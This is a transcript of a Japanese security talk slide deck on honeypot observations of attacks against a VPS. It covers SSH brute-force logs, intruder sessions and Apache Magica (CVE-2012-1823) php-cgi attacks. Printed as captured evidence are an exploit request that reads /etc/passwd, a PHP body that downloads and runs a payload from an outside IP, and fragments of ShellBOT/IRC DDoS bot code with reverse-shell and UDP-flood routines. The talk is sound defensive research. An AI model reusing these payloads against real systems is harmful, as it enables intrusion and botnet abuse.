さくらのvpsに来る悪い人を観察する その2
DESCRIPTION
さくらのVPSにアタックしてくる人たちを、ハニーポットなど使いながらその行動を観察した記録です。観察日記。 今回のネタは以下2つです。 *SSH honeypot(Kippo)を使った悪い人の行動観察、アンケート */cgi-bin/php (Apache Magica攻撃)の観察 なおこのスライドは、2013年12月7日のSecurity Casual Talks(すみだセキュリティ勉強会)での発表資料です。 http://ozuma.sakura.ne.jp/sumida/ またスライド中、動画は以下のURLで閲覧できます http://youtu.be/gp3SBjZNWHUTRANSCRIPT
1
さくらの VPS に来る悪い人を観察する その2
さくらの VPS に来る悪い人を観察する その2 (@ozuma5119)
2013-11-18 20:12:18 login attempt [root/12345] failed2013-11-18 20:12:21 login attempt [root/1qazxsw23edc] failed2013-11-18 20:12:25 login attempt [root/Passw0rd] failed2013-11-18 20:12:28 login attempt [root/password0] failed2013-11-18 20:12:32 login attempt [root/password1] failed
176.223.62.254 - - [23/Nov/2013:12:44:01 +0900] "POST /cgi-bin/php?%2D%64+%61%6C%6C%6F%77%5F%75%72%6C%5F%69%6E%63%6C%75%64%65%3D%6F%6E+%2D%64+%73%61%66%65%5F%6D%6F%64%65%3D%6F%66%66+%2D%64+%73%75%68%6F%73%69%6E%2E%73%69%6D%75%6C%61%74%69%6F%6E%3D%6F%6E+%2D%64+%64%69%73%61%62%6C%65%5F%66%75%6E%63%74%69%6F%6E%73%3D%22%22+%2D%64+%6F%70%65%6E%5F%62%61%73%65%64%69%72%3D%6E%6F%6E%65+%2D%64+%61%75%74%6F%5F
Security Casual Talks すみだセキュリティ勉強会その 2
2013/12/07 @ozuma5119
2さくらの VPS に来る悪い人を観察する その2 (@ozuma5119)
• @ozuma5119• ネット企業でセキュリティサービスをやっ
ているエンジニア• http://d.hatena.ne.jp/ozuma/• 科学写真家 ( と名乗っている )
自己紹介
3
話すことの概要• 個人で借りているさくらの VPS にいろい
ろ来るので、その攻撃を観察してみた• 悪いことしてる人たちがどうしようとし
ているかが、なんとなくかいま見えた。ので誰かに言いたくなった– ボットネット。
さくらの VPS に来る悪い人を観察する その2 (@ozuma5119)
4さくらの VPS に来る悪い人を観察する その2 (@ozuma5119)
ボットネット ?
「ボットネットからの保護」 http://www.microsoft.com/ja-jp/security/pc-security/botnet.aspx より引用
5
きょう、話さないこと• セキュアなプログラミング手法とか• セキュアなサーバ構築の手順とか– そういうのは教科書的なものがいっぱいあるの
で、まぁここで話さなくてもいいかな、と……• 教科書– LPIC Linux セキュリティ標準教科書(無料)
• http://www.lpi.or.jp/linuxtext/security.shtml
– IPA 「安全なウェブサイトの作り方」 ( 無料 )• https://www.ipa.go.jp/security/vuln/websecurity.html
– 徳丸浩「体系的に学ぶ 安全な Web アプリケーションの作り方」• http://www.amazon.co.jp/dp/4797361190
さくらの VPS に来る悪い人を観察する その2 (@ozuma5119)
6
こんなん見ました・その1• SSH (Secure Shell)– 安全にリモートコンピュータと通信するため
のプロトコル
さくらの VPS に来る悪い人を観察する その2 (@ozuma5119)
7
こんなん見ました・その1• なんか VPS( 仮想専用サーバ ) 借りると
ssh ログインがいっぱい来るんですけど。– SSH ブルートフォースの観察– 侵入した人が打とうとしているコマンド調べ– 日本初 !( たぶん世界初 ) 。侵入者にアンケー
トを取ってみました
さくらの VPS に来る悪い人を観察する その2 (@ozuma5119)
8
sshd
• ssh 接続のために sshd を上げていると、世界中から招かれざる客が来ます
さくらの VPS に来る悪い人を観察する その2 (@ozuma5119)
9
/var/log/secure
さくらの VPS に来る悪い人を観察する その2 (@ozuma5119)
Aug 19 21:56:35 sshd[4331]: Failed password for root from 1..Aug 19 21:56:38 sshd[4335]: Failed password for root from 1..Aug 19 21:56:42 sshd[4339]: Failed password for root from 1..Aug 19 21:56:47 sshd[4343]: Failed password for root from 1..Aug 19 21:56:51 sshd[4347]: Failed password for root from 1..Aug 19 21:56:56 sshd[4351]: Failed password for root from 1..Aug 19 21:57:00 sshd[4355]: Failed password for root from 1..Aug 19 21:57:05 sshd[4359]: Failed password for root from 1..Aug 19 21:57:09 sshd[4363]: Failed password for root from 1..Aug 19 21:57:12 sshd[4367]: Failed password for root from 1..
Shit! ( クソったれが !)
10
ssh アタック多すぎるので少しデータ取ってみる
• 興味として、どこから、どんな ID やパスワードが試されているのか知りたい。– /var/log/secure には、入れられたパスワー
ドは出ないのでハニーポットソフトを使います
さくらの VPS に来る悪い人を観察する その2 (@ozuma5119)
11
ssh アタック多すぎるので少しデータ取ってみる 2
• 悪い人たちは、ログインできたら次に何をしようとしているのか知りたい。– 観察記だし。
• 「悪とは何か ? 」「正義とは何か ? 」は難しいので今はパスします– 妻を人質にとられて、泣く泣く ssh アタック
している人がいるかもしれない(いないだろうけど)
さくらの VPS に来る悪い人を観察する その2 (@ozuma5119)
12
kippo – SSH Honeypot
さくらの VPS に来る悪い人を観察する その2 (@ozuma5119)
13
kippo – SSH Honeypot• sshd っぽく振る舞ってくれるハニーポッ
ト
さくらの VPS に来る悪い人を観察する その2 (@ozuma5119)
14
kippo – SSH Honeypot 2
• ログ取りして観察できる様々な機能– 入力された ID ・パスワード取得– ダミーユーザはテキストファイルで簡単追加– 端末で打たれたコマンドは全てログ取得し、
付属アプリで「再生」可能(おもしろ)
さくらの VPS に来る悪い人を観察する その2 (@ozuma5119)
15
やられサーバ構成• さくらの VPS– 49.212.197.88
• sshd– tcp/2222 (kippo)– tcp/20222 (sshd)– tcp/22 から tcp/
2222 へ iptablesでポートフォワード
– 10 月下旬から 11月 30 日までのデータ取得さくらの VPS に来る悪い人を観察する その2 (@ozuma5119)
さくらインターネット公式ブログより引用http://sakuraha-blog.jp/
16
まずはログイン分析
さくらの VPS に来る悪い人を観察する その2 (@ozuma5119)
2013-11-21 07:02:31+0900 [SSHService ssh-userauth on HoneyPotTransport,13,218.68.3.136] login attempt [root/root123] failed2013-11-21 07:02:33+0900 [SSHService ssh-userauth on HoneyPotTransport,14,218.68.3.136] login attempt [root/112233] failed2013-11-21 07:02:40+0900 [SSHService ssh-userauth on HoneyPotTransport,15,218.68.3.136] login attempt [root/123123] failed2013-11-21 07:02:45+0900 [SSHService ssh-userauth on HoneyPotTransport,16,218.68.3.136] login attempt [root/zaq1xsw2] failed
17
ssh 狙われるアカウント TOP5
• root が絶大な人気。 ( まだ ) oracle も多い• 最近は nagios( サーバ監視ソフト ) も目立つ– この辺のアカウントは /sbin/nologin でログイン不
可にしておいていいはず
さくらの VPS に来る悪い人を観察する その2 (@ozuma5119)
1位 2位 3位 4位 5位
rootftpuser
oracle
nagios
postgresql
65.8%
1.3% 1.1%0.65%
0.55%総試行: 14646
18
ssh 試されたパスワード TOP5
• まんべんなく試されているので突出したものはない。
• こういうのを蓄積すれば、「狙われやすいパスワード」が分かってくるさくらの VPS に来る悪い人を観察する その2 (@ozuma5119)
1位 2位 3位 4位 5位123456
password
1qaz2wsx
p@ssw0rd
111111
0.91% 0.68% 0.45% 0.40% 0.38%総試行: 14646
19
ssh ソース IP アドレス (国別 )
• まぁだいたい妥当なランキング• メキシコが多いのは、 10/23 の 1 日だけ猛烈なアタックがあったから……–普段は滅多に来ない国です。たまたま。ア
ミーゴ。
さくらの VPS に来る悪い人を観察する その2 (@ozuma5119)
1位 2位 3位 4位 5位中国 アメリカ メキシコ 韓国 ドイツ54.6%
13.7% 10.8%5.8%
4.6%総試行: 14646
20
もっと面白いモノを見る• Kippo には、侵入者がどんなコマンドを
打ったのかログを取り、あとで再生できる機能があります– キーボード打つ際の、待ち時間なども全てそ
のまま再現してくれるのでリアルです• ということでちょっと鑑賞してみましょ
う
さくらの VPS に来る悪い人を観察する その2 (@ozuma5119)
21
It's show time!
さくらの VPS に来る悪い人を観察する その2 (@ozuma5119)
http://youtu.be/gp3SBjZNWHU
22
ツッコミタイム• 最初に w コマンドは基本• apt-get install yum が斬新すぎてウケ
る• そもそも rootじゃないのに何故 apt-get
install できると思うのか• エディタは nanoじゃなくて vi 使おう• Ray.txt は Perl スクリプトなのか PHP ス
クリプトなのかどっちだよ
さくらの VPS に来る悪い人を観察する その2 (@ozuma5119)
23
Ray.txt
さくらの VPS に来る悪い人を観察する その2 (@ozuma5119)
#!/usr/bin/perl
######################################################################################################################## DDoS Perl IrcBot v1.0 / 2012 by RAYDENNN Security Team ## Stealth MultiFunctional IrcBot writen in Perl ## Teste on every system with PERL instlled ## ## This is a free program used on your own risk. ## Created for educational purpose only. ## I'm not responsible for the illegal use of this program.############################################################# [ Channel ] #################### [ Flood ] ########################################################################## !u @join <#channel> ## !u @udp1 <ip> <port> <## !u @part <#channel> ## !u @udp2 <ip> <packet ## !u !uejoin <#channel> ## !u @udp3 <ip> <port> <
24
仕掛けようとしていたモノ• eggdrop– IRC bot
• Ray.txt– DDoS Perl IRCbot
• psyBNC– IRC サーバへのリレー ( 中継 ) ソフト
• どれもボットネット関係
さくらの VPS に来る悪い人を観察する その2 (@ozuma5119)
25
ssh 侵入者に人気のコマンド• ssh ハニーポットを立てていると、侵入者
が最初に打つコマンドはダントツで w
さくらの VPS に来る悪い人を観察する その2 (@ozuma5119)
※ w って草生やしてるわけじゃないよ、念のため
26
kippo の w コマンドを差し替え• kippo のソースをいじって、 w コマンド
でアンケートに協力してよ!と出すことにした
さくらの VPS に来る悪い人を観察する その2 (@ozuma5119)
srvapl001:/$ wHi! I conduct a suvey of SSH honeypot.Please give me a hand to collect data. :-)
1st question)Where are you from? (China,Russia,Romania,.. etc.): 2nd question)What your nickname? : Thanks!
どこの国 ?
お名前は ?
27
アンケートに回答してくれた人
• 1名いました!• 悪い人とコミュニケーションが取れた !
さくらの VPS に来る悪い人を観察する その2 (@ozuma5119)
28
• ルーマニアから来た Romania さん– キー入力の反応速度から見て、ちゃんとこの
アンケート文を見て答えてくれたようですさくらの VPS に来る悪い人を観察する その2 (@ozuma5119)
srvapl001:/$ wHi! I conduct a suvey of SSH honeypot.Please give me a hand to collect data. :-)
1st question)Where are you from? (China,Russia,Romania,.. etc.): Romania2nd question)What your nickname? : RomaniaThanks!
29
こんなん見ました・その1完
その2に続く
さくらの VPS に来る悪い人を観察する その2 (@ozuma5119)
30
こんなん見ました・その2• 最近よく見る /cgi-bin/php へのアタッ
ク
さくらの VPS に来る悪い人を観察する その2 (@ozuma5119)
94.xx.xx.xx - - [20/Nov/2013:11:47:22 +0900] "POST /cgi-bin/php?%2D%64+%61%6C%6C%6F%77%5F%75%72%6C%5F%69%6E%63%6C%75%64%65%3D%6F%6E+%2D%64+%73%61%66%65%5F%6D%6F%64%65%3D%6F%66%66+%2D%64+%73%75%68%6F(省略)%72%65%64%69%72%65%63%74%5F%73%74%61%74%75%73%5F%65%6E%76%3D%30+%2D%6E HTTP/1.1" 500 613 "-" "-"
POST /cgi-bin/php?%2D%64+.......
↓ これ
みなさん来ていますか ? 来ていませんか ?
31
復習: CGI版 PHP の仕組み• Apache の場合
1. /usr/bin/php-cgi へのシンボリックリンクを、 /var/www/cgi-bin/php に作る
2. .php ファイルにハンドラを設定3. ハンドラの Action として /cgi-bin/php を設定
さくらの VPS に来る悪い人を観察する その2 (@ozuma5119)
AddHandler php-script .phpAction php-script /cgi-bin/php
httpd.conf
32
CGI版 PHP の仕組み その2• サーバ上の .php ファイルがアクセスさ
れると、 /cgi-bin/php を裏で実行する• ユーザからのアクセスで直接 /cgi-bin/
php が叩かれることは無い– が、叩くことはできてしまう–叩いたところでエラーになるだけなので無意
味(だったのだが……)
さくらの VPS に来る悪い人を観察する その2 (@ozuma5119)
33
ここで CVE-2012-1823 脆弱性• 以下のような感じの POST を投げつける
だけで、お好きな PHP スクリプトをサーバ上で実行させることができる (CGI版PHP)
さくらの VPS に来る悪い人を観察する その2 (@ozuma5119)
POST /myapp.php?-d allow_url_include=on-d auto_prepend_file=php://input HTTP/1.0
<?php readfile('/etc/passwd');?>参考 URLhttp://blog.tokumaru.org/2012/05/php-cgi-remote-scripting-cve-2012-1823.html
34
CVE-2012-1823脆弱性を利用した新しい攻撃手法
さくらの VPS に来る悪い人を観察する その2 (@ozuma5119)
http://blog.tokumaru.org/2013/11/apache-magica-attack.html より引用
35
魔法少女アパッチ☆マギカ攻撃はどこが新しくて危険か
• 今まで見つかっていた CGI版 PHP の脆弱性は、サーバ上に設置した PHP スクリプトをターゲットとしていた (例:index.php)– つまり PHP インストールしただけで PHP ス
クリプトを置いていないサーバは実質無害だった
– この攻撃は /cgi-bin/php を直接狙うため、PHP をインストールしてるだけで被害を受ける
さくらの VPS に来る悪い人を観察する その2 (@ozuma5119)
36さくらの VPS に来る悪い人を観察する その2 (@ozuma5119)
84.xx.xx.xx - - [14/Nov/2013:09:16:48 +0900] "POST //%63%67%69%2D%62%69%6E/%70%68%70?%2D%64+%61%6C%6C%6F%77%5F%75%72%6C%5F%69%6E%63%6C%75%64%65%3D%6F%6E+%2D
全てを URL エンコード ( ログ検知避け ?)
85.xx.xx.xx - - [15/Nov/2013:20:21:15 +0900] "POST /cgi-bin/php?%2D%64+%61%6C%6C%6F%77%5F%75%72%6C%5F%69%6E%63%6C%75%64%65%3D%6F%6E+%2D%64+%73%61%66%65
/cgi-bin/php? より後を URL エンコード
192.xx.xx.xx - - [23/Nov/2013:19:15:41 +0900] "GET /cgi-bin/php?-d+allow_url_include%3Don+-d+safe_mode%3Doff+-d+suhosin%2Esimulation%3Don+-d+
必要最低限だけ URL エンコード (COOL!)
37
Magica 攻撃を観察:リクエストの URL差
• 大きく分けて 3 パターン (犯行グループごとに違うのか? )1. 全てを URL エンコード ( ログ検知避け ?)2. /cgi-bin/php? より後を URL エンコード3. 必要最低限だけ URL エンコード (COOL だね !)
• URL が微妙に違うので単純に /cgi-bin/php だけ grep してると検知できない
さくらの VPS に来る悪い人を観察する その2 (@ozuma5119)
38
攻撃を食らうとどうなるのか
• POST ボディ部を見れば、何をされそうになったかはすぐ分かる
• ボットを仕込まれ、 C&C サーバに接続– バックドア付き
• いろんなのが降ってきたのだけど、全部紹介するととても時間足りないので、 1 つの事例をかいつまんで紹介します
さくらの VPS に来る悪い人を観察する その2 (@ozuma5119)
39さくらの VPS に来る悪い人を観察する その2 (@ozuma5119)
150.162.19.45 - - [13/Nov/2013:07:23:27 +0900] "POST //%63%67%69%2D%62%69%6E/%70%68%70?%2D%(省略)%75%74+%2D%6E HTTP/1.1" 500 602 "-"Host: -cContent-Type: application/x-www-form-urlencodedContent-Length: 136
<? system("cd /tmp ; wget 207.56.197.8/lol ; curl -O 207.56.197.8/lol; fetch 207.56.197.8/lol ; chmod +x lol ; ./lol ; rm -rf lol "); ?>150.162.19.45Universidade Federal de Santa Catarina(ブラジル )
40
リクエスト BODY
lol というプログラムを実行するようだ。( lol とはスラングで、日本語に訳せば「ワロス ww 」
さくらの VPS に来る悪い人を観察する その2 (@ozuma5119)
<? system("cd /tmp ; wget 207.56.197.8/lol ; curl -O 207.56.197.8/lol; fetch 207.56.197.8/lol ; chmod +x lol ; ./lol ; rm -rf lol ");?>
207.56.197.8NTT America, Inc.(US)
41
lol スクリプトの動作• 試しに wget してみて中を見てみた• Perl製の ShellBOT という名前 ( そう書い
てある )• IRC で C&C サーバに接続して、–命令を受けてポートスキャンしたり–命令を受けて DoS 攻撃をしたり– バックドアを開いたり
さくらの VPS に来る悪い人を観察する その2 (@ozuma5119)
42さくらの VPS に来る悪い人を観察する その2 (@ozuma5119)
#!/usr/bin/perl## ShellBOT by: devil__# Greetz: Puna, Kelserific## Comandos:# @oldpack <ip> <bytes> <tempo>;# @udp <ip> <porta> <tempo>;# @fullportscan <ip> <porta inicial> <porta final>;# @conback <ip> <porta># @download <url> <arquivo a ser salvo>;# !estatisticas <on/off>;# !sair para finalizar o bot;# !novonick para trocar o nick do bot por um novo aleatorio;# !entra <canal> <tempo># !sai <canal> <tempo>;# !pacotes <on/off># @info# @xpl <kernel># @sendmail <assunto> <remetente> <destinatario> <conteudo>
43
lol スクリプトの中身
• C&C サーバは .cz :チェコ共和国• 最近、ルーマニアとか東欧の悪い人たち
の活動が活発です(いろいろと。状況証拠しかまだ無いんだけど……)
さくらの VPS に来る悪い人を観察する その2 (@ozuma5119)
$servidor='suoraphp.upol.cz' unless $servidor;my $porta='3303';my @canais=("#aiurea");my @adms=("w","r");
44
lol スクリプトの中身2ポートスキャン
さくらの VPS に来る悪い人を観察する その2 (@ozuma5119)
if ($funcarg =~ /^portscan (.*)/) { my $hostip="$1"; my @portas=("21","22","23","25","53","59","79","80","110","113","135","139","443","445","1025","5000","6660","6661","6662","6663","6665","6666","6667","6668","6669","7000","8080","8018"); my (@aberta, %porta_banner); foreach my $porta (@portas) { my $scansock = IO::Socket::INET->new
45
lol スクリプトの中身 3 バックドア
• Windows/UNIX両対応です
さくらの VPS に来る悪い人を観察する その2 (@ozuma5119)
elsif ($funcarg =~ /^conback\s+(.*)\s+(\d+)/) {...(省略)...my $shell = "/bin/sh -i"; if ($^O eq "MSWin32") { $shell = "cmd.exe"; }
46
lol スクリプトの中身 4 DoS 攻撃
• Windows/UNIX両対応
さくらの VPS に来る悪い人を観察する その2 (@ozuma5119)
elsif ($funcarg =~ /^udp\s+(.*)\s+(\d+)\s+(\d+)/) {...(省略)... while (($pacota == "1")) { $pacota = 0 if ((time >= $fim) && ($tempo != "0")); $pacote=$rand x $rand x $rand; $porta = int(rand 65000) +1 if ($porta == "0"); send(Tr0x, 0, $pacote, sockaddr_in($porta, $alvo)) and $pacotese++; }
47
C&C サーバの中
さくらの VPS に来る悪い人を観察する その2 (@ozuma5119)
48さくらの VPS に来る悪い人を観察する その2 (@ozuma5119)
49
すみだセキュリティ勉強会
さくらの VPS に来る悪い人を観察する その2 (@ozuma5119)
http://ozuma.sakura.ne.jp/sumida/